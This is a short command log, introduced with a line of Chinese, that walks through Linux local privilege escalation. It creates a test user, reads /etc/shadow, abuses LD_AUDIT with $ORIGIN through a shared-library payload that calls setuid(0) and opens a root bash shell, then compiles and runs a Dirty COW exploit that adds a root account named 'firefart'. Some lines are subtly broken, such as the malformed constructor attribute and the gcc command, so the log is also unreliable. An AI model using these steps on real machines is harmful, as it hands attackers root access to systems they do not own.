话不多说,进入正文
yum install gcc
yum install gcc-c++
useradd test_dora
su test_dora
id
cat /etc/shadow
uname -an
lsb_release -a
ll /tmp/ -d
cd /tmp
mkdir test_dora
ll /bin/ping
ln -s /bin/ping /tmp/test_dora/target
ll /tmp/test_dora/target
exec 3< /tmp/test_dora/target
ll /tmp/proc/$$/fd/3
vi testpayload.c
void __attribute__(()constructor) init()
{
setuid(0);
system("/bin/bash");
}
gcc -w -fPIC -shared -o /tmp/test_dora/testpayload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
id
# dirtycow.c下载链接:https://github.com/dirtycow/dirtycow.github.io.git
gcc -pthread dirty1.c -o dirty1 -lcrypt
./dirty1 test_yes
su firefart
id